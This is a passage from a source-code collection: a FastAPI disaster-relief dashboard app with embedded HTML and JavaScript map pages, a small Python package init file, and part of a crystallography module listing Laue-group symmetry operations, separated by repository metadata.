[...reli,String(display_data[k][4])] newBody2.appendChild(newRow2); } for(var x in display_data[k]){ let cell = document.createElement("td"); cell.innerText = display_data[k][x]; newRow.appendChild(cell); } newBody.appendChild(newRow); } } var baseUrl = window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/" document.getElementById("submit").onclick = function () { var requestOptions = { method: 'POST', redirect: 'follow' }; fetch(baseUrl+"tableUpdate/?number="+document.getElementById("number").value+"&dmnd="+document.getElementById("dmnd").value+"&reli="+document.getElementById("reli").value, requestOptions) .then(response => response.json()) .then(result => { console.log(result), alert("Your request to add "+document.getElementById('number').value+" people in relief point "+document.getElementById('reli').value+" from demand node "+document.getElementById('dmnd').value+" has been sucessfully processed.\\nServer response: "+ result["msg"]); }) .catch(error => console.log('error', error)); }; const myloc = { lat: 27.302524795918504, lng: 88.59751338243387 }; var Locations = [ ['1', 'Demand', 27.302524795918504, 88.59751338243387, '&dmnd=1'], ['2', 'Demand', 27.309941653731695, 88.59884377512124, '&dmnd=2'], ['3', 'Demand', 27.30582333235349, 88.58828660114838, '&dmnd=3'], ['4', 'Demand', 27.310361103820796, 88.60686894416531, '&dmnd=4'], ['5', 'Demand', 27.293448382503307, 88.5876643286917, '&dmnd=5'], ['6', 'Demand', 27.30007442244496, 88.60322313404959, '&dmnd=6'], ['7', 'Demand', 27.290731480800943, 88.59953239709199, '&dmnd=7'], ['8', 'Demand',27.29443927704333, 88.60976569341749, '&dmnd=8'], ['1', 'Relief', 27.29908312298845, 88.59850259606205, '&reli=1'], ['2', 'Relief', 27.316052526734996, 88.60438310868761, '&reli=2'], ['3', 'Relief', 27.31059938203764, 88.58867470419628, '&reli=3'], ['4', 'Relief', 27.308425729881044, 88.60326660562897, '&reli=4'], ['5', 'Relief', 27.296108563399272, 88.59755852842592, '&reli=5'], ['6', 'Relief', 27.29565087437993, 88.60086281523137, '&reli=6'], ['7', 'Relief', 27.291570492233568, 88.59506962480899, '&reli=7'], ['8', 'Relief', 27.288786566493226, 88.59927488945574, '&reli=8'], ]; const map = new google.maps.Map(document.getElementById('map'), { zoom: 14, center: myloc, }); var infowindow = new google.maps.InfoWindow(); var marker, i; var DemandIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#ffffff', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; var ReliefIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#000000', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; function setMarkers(){ for (i = 0; i < Locations.length; i++) { if (Locations[i][1] == "Demand" && dmnd.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: ReliefIcon, label: {color: '#ffffff', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } else if (Locations[i][1] == "Relief" && reli.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: DemandIcon, url: baseUrl+"handler/?dmnd="+dmnd+Locations[i][4], label: {color: '#000000', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); google.maps.event.addListener(marker, 'click', function() { window.location.href = this.url; window.open(marker.url, '_blank'); }); } } } </script> </body> </html> """ relief_html_content = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Find My Route</title> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">  </head> <style> html { height: 100% } .main { padding: 10px; font-size: 20px; /* Increased text to enable scrolling */ padding: 0px 10px; min-height: 100%; } body { height: 97%; min-height: 97%; font-family: 'Roboto', sans-serif; background: #d9eeff; overflow: hidden; } .controls { width: 20%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 25px; } .controls:focus { border: 4px solid #555; } #submit{ background-color: skyblue; } .top_banner { text-align: center; } #main-data-table{ margin-left: auto; margin-right: auto; } .flex-container { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; } .flex-child { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; } .flex-container-second { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; flex-direction: column; } .flex-first-child-main { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-main thead th { position: sticky; top: 0; z-index: 1; } .flex-first-child-second { flex: auto; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-second thead th { position: sticky; top: 0; z-index: 1; } table { border-collapse: collapse; width: 100%; } th, td { padding: 2px 30px; } th { background:#eee; } .second_child{ border-radius: 25px; width: 200px; flex: auto; height: 500px; } #map { align-self: center; border-radius: 25px; height: 500px; width: 100%; flex: auto; flex-basis: 0; flex-grow: 4; } .second_col_table{ align-self: center; border-radius: 25px; margin-right: 20px; } .second_col_legend{ align-self: center; border-radius: 25px; width: 100%; margin-right: 20px; } </style> <body> <div class="top_banner"> <a href="/" style="color: black; text-decoration: none;"><h1>Dashboard</h1></a> </div> <div> <input id="dmnd" class="controls" type="number" placeholder="Demand node number" /> <input id="reli" class="controls" type="number" placeholder="Relief point number" /> <input id="number" class="controls" type="number" placeholder="Enter number of people" /> <button id="submit" type="submit" class="controls">Submit</button> </div> <div class="flex-container"> <div class="flex-child"> <div class="flex-container-second"> <div class="flex-first-child-main"> <h3>Main table</h3> <table id = "main-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> <br> </div> <div class="flex-first-child-second"> <h3>Extra table</h3> <table id = "second-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> </div> <p> Note: Negative values in column 'Population Unserved' shows that there is space to accomodate that much number of people </p> </div> </div> <div class="second_child"> <div id="map"> </div> <script src="https://maps.googleapis.com/maps/api/js?key=KEY" type="text/javascript"> </script> <div class = "second_col_legend"><table> <tr> <td><canvas id="myCanvas"> </canvas></td> <td><canvas id="myCanvas2"> </canvas></td> </tr> <tr> <td style="text-align:center; vertical-align:top;"><h4>Relief Point</h4></td> <td style="text-align:center; vertical-align:top;"><h4>Demand Point</h4></td> </tr> </table> <script> //ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise); var c = document.getElementById("myCanvas"); var ctx = c.getContext("2d"); ctx.canvas.width = "100" ctx.canvas.height = "50" ctx.beginPath() ctx.arc(c.width/2, c.height/2, c.width/4, 0, Math.PI*2, false); // outer (filled) ctx.arc(c.width/2, c.height/2, c.width/5, 0, Math.PI*2, true); // inner (unfills it) ctx.fill(); ctx.font = "20px Arial"; ctx.fillText("N", c.width/2.35, c.height/1.55); var c2 = document.getElementById("myCanvas2"); var ctx2 = c2.getContext("2d"); ctx2.canvas.width = "100" ctx2.canvas.height = "50" ctx2.beginPath() ctx2.arc(c2.width/2, c2.height/2, c2.width/4, 0, Math.PI*2, false); // inner (unfills it) ctx2.fill(); ctx2.font = "20px Arial"; ctx2.fillStyle = "white"; ctx2.fillText("N", c2.width/2.35, c2.height/1.55); </script> </div> </div> </div> <script type="text/javascript"> var myHeaders = new Headers(); myHeaders.append('pragma', 'no-cache'); myHeaders.append('cache-control', 'no-cache'); var myInit = { method: 'GET', headers: myHeaders, }; const params = new URLSearchParams(window.location.search) for (const param of params) { window[param[0]] = [param[1]] } document.getElementById('reli').value = reli; var baseUrl = window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/" dmnd = []; fetch("../Data/display_data", myInit) .then(function (response) { return response.json(); }).then(function (apiJsonData) { renderDataInTheTable(apiJsonData); setMarkers(); }) function renderDataInTheTable(display_data) { const mytable = document.getElementById("main-data-table"); const mytable2 = document.getElementById("second-data-table"); let newBody = document.createElement("tbody"); let newBody2 = document.createElement("tbody"); mytable.appendChild(newBody) mytable2.appendChild(newBody2) for(var k in display_data) { let newRow = document.createElement("tr"); let newRow2 = document.createElement("tr"); if (display_data[k][4] == reli){ for(var x in display_data[k]){ let cell2 = document.createElement("td"); cell2.innerText = display_data[k][x]; newRow2.appendChild(cell2); } dmnd = [...dmnd,String(display_data[k][3])] newBody2.appendChild(newRow2); } for(var x in display_data[k]){ let cell = document.createElement("td"); cell.innerText = display_data[k][x]; newRow.appendChild(cell); } newBody.appendChild(newRow); } } document.getElementById("submit").onclick = function () { var requestOptions = { method: 'POST', redirect: 'follow' }; fetch(baseUrl+"tableUpdate/?number="+document.getElementById("number").value+"&dmnd="+document.getElementById("dmnd").value+"&reli="+document.getElementById("reli").value, requestOptions) .then(response => response.json()) .then(result => { console.log(result), alert("Your request to add "+document.getElementById('number').value+" people in relief point "+document.getElementById('reli').value+" from demand node "+document.getElementById('dmnd').value+" has been sucessfully processed.\\nServer response: "+ result["msg"]); }) .catch(error => console.log('error', error)); }; const myloc = { lat: 27.302524795918504, lng: 88.59751338243387 }; var Locations = [ ['1', 'Demand', 27.302524795918504, 88.59751338243387, '&dmnd=1'], ['2', 'Demand', 27.309941653731695, 88.59884377512124, '&dmnd=2'], ['3', 'Demand', 27.30582333235349, 88.58828660114838, '&dmnd=3'], ['4', 'Demand', 27.310361103820796, 88.60686894416531, '&dmnd=4'], ['5', 'Demand', 27.293448382503307, 88.5876643286917, '&dmnd=5'], ['6', 'Demand', 27.30007442244496, 88.60322313404959, '&dmnd=6'], ['7', 'Demand', 27.290731480800943, 88.59953239709199, '&dmnd=7'], ['8', 'Demand',27.29443927704333, 88.60976569341749, '&dmnd=8'], ['1', 'Relief', 27.29908312298845, 88.59850259606205, '&reli=1'], ['2', 'Relief', 27.316052526734996, 88.60438310868761, '&reli=2'], ['3', 'Relief', 27.31059938203764, 88.58867470419628, '&reli=3'], ['4', 'Relief', 27.308425729881044, 88.60326660562897, '&reli=4'], ['5', 'Relief', 27.296108563399272, 88.59755852842592, '&reli=5'], ['6', 'Relief', 27.29565087437993, 88.60086281523137, '&reli=6'], ['7', 'Relief', 27.291570492233568, 88.59506962480899, '&reli=7'], ['8', 'Relief', 27.288786566493226, 88.59927488945574, '&reli=8'], ]; const map = new google.maps.Map(document.getElementById('map'), { zoom: 14, center: myloc, }); var infowindow = new google.maps.InfoWindow(); var marker, i; var DemandIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#ffffff', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; var ReliefIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#000000', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; function setMarkers(){ for (i = 0; i < Locations.length; i++) { if (Locations[i][1] == "Demand" && dmnd.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: ReliefIcon, url:baseUrl+"handler/?reli="+reli+Locations[i][4], label: {color: '#ffffff', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); google.maps.event.addListener(marker, 'click', function() { window.location.href = this.url; window.open(marker.url, '_blank'); }); } else if (Locations[i][1] == "Relief" && reli.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: DemandIcon, label: {color: '#000000', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } } } </script> </body> </html> """ handler_html_content = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Find My Route</title> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">  </head> <style> html { height: 100% } .main { padding: 10px; font-size: 20px; /* Increased text to enable scrolling */ padding: 0px 10px; min-height: 100%; } body { height: 97%; min-height: 97%; font-family: 'Roboto', sans-serif; background: #d9eeff; overflow: hidden; } .controls { width: 20%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 25px; } .controls:focus { border: 4px solid #555; } #submit{ background-color: skyblue; } .top_banner { text-align: center; } #main-data-table{ margin-left: auto; margin-right: auto; } .flex-container { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; } .flex-child { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; } .flex-container-second { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; flex-direction: column; } .flex-first-child-main { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-main thead th { position: sticky; top: 0; z-index: 1; } .flex-first-child-second { flex: auto; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-second thead th { position: sticky; top: 0; z-index: 1; } table { border-collapse: collapse; width: 100%; } th, td { padding: 2px 30px; } th { background:#eee; } .second_child{ border-radius: 25px; width: 200px; flex: auto; height: 500px; } #map { align-self: centre; border-radius: 25px; height: 500px; width: 100%; flex: auto; flex-basis: 0; flex-grow: 4; } #container { height: 100%; display: flex; } #sidebar { flex-basis: 15rem; flex-grow: 1; padding: 1rem; max-width: 30rem; height: 100%; box-sizing: border-box; overflow: auto; } .second_col_table{ align-self: center; border-radius: 25px; margin-right: 20px; } .second_col_legend{ align-self: center; border-radius: 25px; width: 100%; margin-right: 20px; } </style> <body> <div class="top_banner"> <a href="/" style="color: black; text-decoration: none;"><h1>Dashboard</h1></a> </div> <div> <input id="dmnd" class="controls" type="number" placeholder="Demand node number" /> <input id="reli" class="controls" type="number" placeholder="Relief point number" /> <input id="number" class="controls" type="number" placeholder="Enter number of people" /> <button id="submit" type="submit" class="controls" onclick="submitFunction()">Submit</button> </div> <div class="flex-container"> <div class="flex-child"> <div class="flex-container-second"> <div class="flex-first-child-main"> <h3>Main table</h3> <table id = "main-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> <br> </div> <div class="flex-first-child-second"> <h3>Extra table</h3> <table id = "second-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> </div> <p> Note: Negative values in column 'Population Unserved' shows that there is space to accomodate that much number of people </p> </div> </div> <div class="second_child"> <div id="container"> <div id="map"> </div> <div id="sidebar"> </div> <script src="https://maps.googleapis.com/maps/api/js?key=KEY&callback=initDirMap&v=weekly" type="text/javascript"> </script> </div> <div class = "second_col_legend"><table> <tr> <td><canvas id="myCanvas"> </canvas></td> <td><canvas id="myCanvas2"> </canvas></td> <td><canvas id="myCanvas3"> </canvas></td> </tr> <tr> <td style="text-align:center; vertical-align:top;"><h4>Relief Point</h4></td> <td style="text-align:center; vertical-align:top;"><h4>Demand Point</h4></td> <td style="text-align:center; vertical-align:top;"><h4>Reliability Gradient<br>Red:low Green:high</h4></td> </tr> </table> <script> //ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise); var c = document.getElementById("myCanvas"); var ctx = c.getContext("2d"); ctx.canvas.width = "100" ctx.canvas.height = "50" ctx.beginPath() ctx.arc(c.width/2, c.height/2, c.width/4, 0, Math.PI*2, false); // outer (filled) ctx.arc(c.width/2, c.height/2, c.width/5, 0, Math.PI*2, true); // inner (unfills it) ctx.fill(); ctx.font = "20px Arial"; ctx.fillText("N", c.width/2.35, c.height/1.55); var c2 = document.getElementById("myCanvas2"); var ctx2 = c2.getContext("2d"); ctx2.canvas.width = "100" ctx2.canvas.height = "50" ctx2.beginPath() ctx2.arc(c2.width/2, c2.height/2, c2.width/4, 0, Math.PI*2, false); // inner (unfills it) ctx2.fill(); ctx2.font = "20px Arial"; ctx2.fillStyle = "white"; ctx2.fillText("N", c2.width/2.35, c2.height/1.55); var c3 = document.getElementById("myCanvas3"); var ctx3 = c3.getContext("2d"); ctx3.canvas.width = "100" ctx3.canvas.height = "50" var grd = ctx3.createLinearGradient(0,0,c.width,0); grd.addColorStop(0,"red"); grd.addColorStop(0.5,"yellow"); grd.addColorStop(1,"green"); // Fill with gradient ctx3.fillStyle = grd; ctx3.fillRect(c.width/10,c.width/10,c.width/1.2,c.width/3);</script> </script> </div> </div> </div> <script type="text/javascript"> var myHeaders = new Headers(); myHeaders.append('pragma', 'no-cache'); myHeaders.append('cache-control', 'no-cache'); var myInit = { method: 'GET', headers: myHeaders, }; const params = new URLSearchParams(window.location.search) for (const param of params) { window[param[0]] = [param[1]] } document.getElementById('dmnd').value = dmnd; document.getElementById('reli').value = reli; var baseUrl = window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/" fetch("../Data/display_data", myInit) .then(function (response) { return response.json(); }).then(function (apiJsonData) { renderDataInTheTable(apiJsonData); setMarkers(); initDirMap(); }) var reliability; function renderDataInTheTable(display_data) { const mytable = document.getElementById("main-data-table"); const mytable2 = document.getElementById("second-data-table"); let newBody = document.createElement("tbody"); let newBody2 = document.createElement("tbody"); mytable.appendChild(newBody) mytable2.appendChild(newBody2) for(var k in display_data) { let newRow = document.createElement("tr"); let newRow2 = document.createElement("tr"); if (display_data[k][4] == reli && display_data[k][3] == dmnd){ reliability = display_data[k][0] for(var x in display_data[k]){ let cell2 = document.createElement("td"); cell2.innerText = display_data[k][x]; newRow2.appendChild(cell2); } newBody2.appendChild(newRow2); } for(var x in display_data[k]){ let cell = document.createElement("td"); cell.innerText = display_data[k][x]; newRow.appendChild(cell); } newBody.appendChild(newRow); } } document.getElementById("submit").onclick = function () { var requestOptions = { method: 'POST', redirect: 'follow' }; fetch(baseUrl+"tableUpdate/?number="+document.getElementById("number").value+"&dmnd="+document.getElementById("dmnd").value+"&reli="+document.getElementById("reli").value, requestOptions) .then(response => response.json()) .then(result => { console.log(result), alert("Your request to add "+document.getElementById('number').value+" people in relief point "+document.getElementById('reli').value+" from demand node "+document.getElementById('dmnd').value+" has been sucessfully processed.\\nServer response: "+ result["msg"]); }) .catch(error => console.log('error', error)); }; const myloc = { lat: 27.302524795918504, lng: 88.59751338243387 }; var Locations = [ ['1', 'Demand', 27.302524795918504, 88.59751338243387, '&dmnd=1'], ['2', 'Demand', 27.309941653731695, 88.59884377512124, '&dmnd=2'], ['3', 'Demand', 27.30582333235349, 88.58828660114838, '&dmnd=3'], ['4', 'Demand', 27.310361103820796, 88.60686894416531, '&dmnd=4'], ['5', 'Demand', 27.293448382503307, 88.5876643286917, '&dmnd=5'], ['6', 'Demand', 27.30007442244496, 88.60322313404959, '&dmnd=6'], ['7', 'Demand', 27.290731480800943, 88.59953239709199, '&dmnd=7'], ['8', 'Demand', 27.29443927704333, 88.60976569341749, '&dmnd=8'], ['1', 'Relief', 27.29908312298845, 88.59850259606205, '&reli=1'], ['2', 'Relief', 27.316052526734996, 88.60438310868761, '&reli=2'], ['3', 'Relief', 27.31059938203764, 88.58867470419628, '&reli=3'], ['4', 'Relief', 27.308425729881044, 88.60326660562897, '&reli=4'], ['5', 'Relief', 27.296108563399272, 88.59755852842592, '&reli=5'], ['6', 'Relief', 27.29565087437993, 88.60086281523137, '&reli=6'], ['7', 'Relief', 27.291570492233568, 88.59506962480899, '&reli=7'], ['8', 'Relief', 27.288786566493226, 88.59927488945574, '&reli=8'], ]; const map = new google.maps.Map(document.getElementById('map'), { zoom: 14, center: myloc, }); var infowindow = new google.maps.InfoWindow(); var marker, i; var DemandIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#ffffff', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; var ReliefIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#000000', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; function setMarkers(){ for (i = 0; i < Locations.length; i++) { if (Locations[i][1] == "Demand" && dmnd.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: ReliefIcon, label: {color: '#ffffff', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } else if (Locations[i][1] == "Relief" && reli.includes(Locations[i][0])){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: DemandIcon, label: {color: '#000000', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } } } function initDirMap() { var red, green, blue; if ( reliability < 0.25 ) { green = Math.round((reliability * 4 * 255)); red = 255; } else { green = 255; red = Math.round(((2 - 4 * reliability) * 255)); } const rgbToHex = (r, g, b) => '#' + [r, g, b].map(x => { const hex = x.toString(16) return hex.length === 1 ? '0' + hex : hex }).join('') for (i = 0; i < Locations.length; i++) { if (Locations[i][1] == "Demand" && dmnd.includes(Locations[i][0])){ origin_lat = Locations[i][2]; origin_lng = Locations[i][3]; } else if (Locations[i][1] == "Relief" && reli.includes(Locations[i][0])){ dest_lat = Locations[i][2]; dest_lng = Locations[i][3]; } } const directionsRenderer = new google.maps.DirectionsRenderer({suppressMarkers: true, polylineOptions: { strokeColor: rgbToHex(red,green,0) }}); const directionsService = new google.maps.DirectionsService(); directionsRenderer.setMap(map); directionsRenderer.setPanel(document.getElementById("sidebar")); directionsService .route({ origin: { lat : origin_lat, lng : origin_lng, }, destination:{ lat: dest_lat, lng: dest_lng, }, travelMode: google.maps.TravelMode.DRIVING, }) .then((response) => { directionsRenderer.setDirections(response); }) .catch((e) => window.alert("Directions request failed due to " + status)); } </script> </body> </html> """ app = FastAPI() app.mount("/Data", StaticFiles(directory="Data"), name="Data") class entry(BaseModel): number: int key: str @app.get("/") def create_table(): return HTMLResponse(content = main_html_content, status_code = 200) @app.get("/init/") async def init_table(): df = pd.read_csv("Data/data.csv", encoding= "unicode_escape") # Selecting by decision decision = df['Decision variable'].values[0:64].astype('float') selected = list() for idx, item in enumerate(decision): if (item >= 0.1): selected.append(idx) # Output DataFrame with selected coulumns display_df = df.loc[selected, ['Paths' , 'Connectivity Reliability of paths (P)', \ 'Number of trips (Population)', 'Reserve capacity (PCU)']] display_df['Unserved population'] = display_df['Number of trips (Population)'] - \ display_df['Reserve capacity (PCU)'] display_df['Demand Nodes'] = display_df['Paths'].astype(str).str[1].astype(int) display_df['Relief Points'] = display_df['Paths'].astype(str).str[3].astype(int) display_df.drop(['Paths', 'Reserve capacity (PCU)'], axis=1, inplace=True) display_df.reset_index(inplace = True, drop = True) # Creating JSON for Frontend # JSON "index": [Reliability value, Population served, Population unserved, # Demand node, Relief point] display_df.index += 1 with open('Data/display_data', 'w') as fp: json.dump(display_df.T.to_dict('list'), fp, sort_keys=True, indent=4) return HTMLResponse(content = main_html_content, status_code = 200) @app.get("/setdemand/") async def create_demand_node(dmnd: int): return HTMLResponse(content = demand_html_content, status_code = 200) @app.get("/setrelief/") async def create_relief_node(reli: int): return HTMLResponse(content = relief_html_content, status_code = 200) @app.get("/handler/") async def show_map(dmnd:int, reli: int): return HTMLResponse(content = handler_html_content, status_code = 200) @app.post("/tableUpdate/") def update_table(number: int, dmnd: int, reli: int): # JSON "index": [Reliability value, Population served, Population unserved, # Demand node, Relief point] with open('Data/display_data', 'r') as fp: display_data = json.load(fp) print("load sucessful") print(display_data) # Get Key and Number of People from request # Check if Population unserved is negative, ie there is room for more population to serve msg = '' for row in display_data: if (display_data[row][3] == dmnd and display_data[row][4] == reli): if (display_data[row][2] > 0): msg += "Relief point full. " return JSONResponse({'msg': msg, 'status_code' : 400}) if (display_data[row][2] + number) <= 0: display_data[row][2] += number msg += "Update successful for %d people. "%(number) with open('Data/display_data', 'w') as fp: json.dump(display_data, fp, sort_keys=True, indent=4) # Alert added to warn population limit after changes if (display_data[row][2] > -1): msg += "Cannot add anymore people. " # Saving JSON at end of task else: msg += "Entered population value %d exceeds the population limit of the relief point. "%(number) return JSONResponse({'msg': msg, 'status_code' : 400}) return JSONResponse({'msg': msg, 'status_code' : 200}) @app.post("/testpost/") def testPost(): return JSONResponse({'msg': "test successfull", 'status_code' : 400})

38.48351

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0.865723

0.842305

0.840893

0

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0.394014

61,843

1,607

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38.48351

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null

0

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0

1

0

1

0

null

0

8

44807843256e92a032fdee4a402c40453c69e34a

150

py

Python

backend/models/__init__.py

Luanee/MoneyThreads

786610855ad4d4fdda4a25a95c9e4756c6a9dedf

[ "MIT" ]

null

backend/models/__init__.py

Luanee/MoneyThreads

786610855ad4d4fdda4a25a95c9e4756c6a9dedf

[ "MIT" ]

null

backend/models/__init__.py

Luanee/MoneyThreads

786610855ad4d4fdda4a25a95c9e4756c6a9dedf

[ "MIT" ]

null

from backend.models.users import User from backend.models.categories import CategoryModel, SubCategoryModel from backend.models.tags import TagsModel

37.5

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150

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null

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1

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1

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7

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6,411

py

Python

crystalbase/hkl/space_group.py

jingshenSN2/CrystalTool

18f07963ff5f2a54ac2c93e2fa59fada51346232

[ "MIT" ]

null

crystalbase/hkl/space_group.py

jingshenSN2/CrystalTool

18f07963ff5f2a54ac2c93e2fa59fada51346232

[ "MIT" ]

null

crystalbase/hkl/space_group.py

jingshenSN2/CrystalTool

18f07963ff5f2a54ac2c93e2fa59fada51346232

[ "MIT" ]

null

def generate_pairs_by_laue(hkl_tuple, laue): pairs = set() h, k, l = hkl_tuple params = {'h': h, 'k': k, 'l': l} operation = symmetric_operations[laue] for op in operation: op_h, op_k, op_l = op new_hkl_tuple = eval(op_h, params), eval(op_k, params), eval(op_l, params) pairs.add(new_hkl_tuple) return pairs laue_group_name = { 0: '0', 1: '-1', 2: '2/m', 3: 'mmm', 4: '4/m', 5: '4/mmm', 6: '-3', 7: '-3(R)', 8: '-3m1', 9: '-31m', 10: '-3m(R)', 11: '6/m', 12: '6/mmm', 13: 'm-3', 14: 'm-3m' } symmetric_operations = { 0: [('h', 'k', 'l')], # no laue group 1: [('h', 'k', 'l'), ('-h', '-k', '-l')], # laue group: -1 2: [('h', 'k', 'l'), ('-h', 'k', '-l'), ('h', '-k', 'l'), ('-h', '-k', '-l')], # laue group: 2/m 3: [('h', 'k', 'l'), ('-h', '-k', '-l'), ('-h', 'k', 'l'), ('h', '-k', 'l'), ('h', 'k', '-l'), ('h', '-k', '-l'), ('-h', 'k', '-l'), ('-h', '-k', 'l')], # laue group: mmm 4: [('h', 'k', 'l'), ('-h', '-k', 'l'), ('-k', 'h', 'l'), ('k', '-h', 'l'), ('h', 'k', '-l'), ('-h', '-k', '-l'), ('-k', 'h', '-l'), ('k', '-h', '-l')], # laue group: 4/m 5: [('h', 'k', 'l'), ('-h', '-k', 'l'), ('h', '-k', 'l'), ('-h', 'k', 'l'), ('h', 'k', '-l'), ('-h', '-k', '-l'), ('h', '-k', '-l'), ('-h', 'k', '-l'), ('k', 'h', 'l'), ('-k', '-h', 'l'), ('-k', 'h', 'l'), ('k', '-h', 'l'), ('k', 'h', '-l'), ('-k', '-h', '-l'), ('-k', 'h', '-l'), ('k', '-h', '-l')], # laue group: 4/mmm 6: [('h', 'k', 'l'), ('-h-k', 'h', 'l'), ('k', '-h-k', 'l'), ('-h', '-k', '-l'), ('h+k', '-h', '-l'), ('-k', 'h+k', '-l')], # laue group: -3 7: [('h', 'k', 'l'), ('l', 'h', 'k'), ('k', 'l', 'h'), ('-h', '-k', '-l'), ('-l', '-h', '-k'), ('-k', '-l', '-h')], # laue group: -3(R) 8: [('h', 'k', 'l'), ('-h-k', 'h', 'l'), ('k', '-h-k', 'l'), ('-h', '-k', '-l'), ('h+k', '-h', '-l'), ('-k', 'h+k', '-l'), ('k', 'h', '-l'), ('h', '-h-k', '-l'), ('-h-k', 'k', '-l'), ('-k', '-h', 'l'), ('-h', 'h+k', 'l'), ('h+k', '-k', 'l')], # laue group: -3m1 9: [('h', 'k', 'l'), ('-h-k', 'h', 'l'), ('k', '-h-k', 'l'), ('-h', '-k', '-l'), ('h+k', '-h', '-l'), ('-k', 'h+k', '-l'), ('k', 'h', 'l'), ('h', '-h-k', 'l'), ('-h-k', 'k', 'l'), ('-k', '-h', '-l'), ('-h', 'h+k', '-l'), ('h+k', '-k', '-l')], # laue group: -31m 10: [('h', 'k', 'l'), ('k', 'l', 'h'), ('l', 'h', 'k'), ('k', 'h', 'l'), ('h', 'l', 'k'), ('l', 'k', 'h'), ('-h', '-k', '-l'), ('-k', '-l', '-h'), ('-l', '-h', '-k'), ('-k', '-h', '-l'), ('-h', '-l', '-k'), ('-l', '-k', '-h')], # laue group: -3m(R) 11: [('h', 'k', 'l'), ('-h-k', 'h', 'l'), ('k', '-h-k', 'l'), ('-h', '-k', 'l'), ('h+k', '-h', 'l'), ('-k', 'h+k', 'l'), ('h', 'k', '-l'), ('-h-k', 'h', '-l'), ('k', '-h-k', '-l'), ('-h', '-k', '-l'), ('h+k', '-h', '-l'), ('-k', 'h+k', '-l')], # laue group: 6/m 12: [('h', 'k', 'l'), ('-h-k', 'h', 'l'), ('k', '-h-k', 'l'), ('-h', '-k', 'l'), ('h+k', '-h', 'l'), ('-k', 'h+k', 'l'), ('k', 'h', 'l'), ('-h-k', 'k', 'l'), ('h', '-h-k', 'l'), ('-k', '-h', 'l'), ('h+k', '-k', 'l'), ('-h', 'h+k', 'l'), ('h', 'k', '-l'), ('-h-k', 'h', '-l'), ('k', '-h-k', '-l'), ('-h', '-k', '-l'), ('h+k', '-h', '-l'), ('-k', 'h+k', '-l'), ('k', 'h', '-l'), ('-h-k', 'k', '-l'), ('h', '-h-k', '-l'), ('-k', '-h', '-l'), ('h+k', '-k', '-l'), ('-h', 'h+k', '-l')], # laue group: 6/mmm 13: [('h', 'k', 'l'), ('l', 'h', 'k'), ('k', 'l', 'h'), ('h', 'k', '-l'), ('-l', 'h', 'k'), ('k', '-l', 'h'), ('h', '-k', 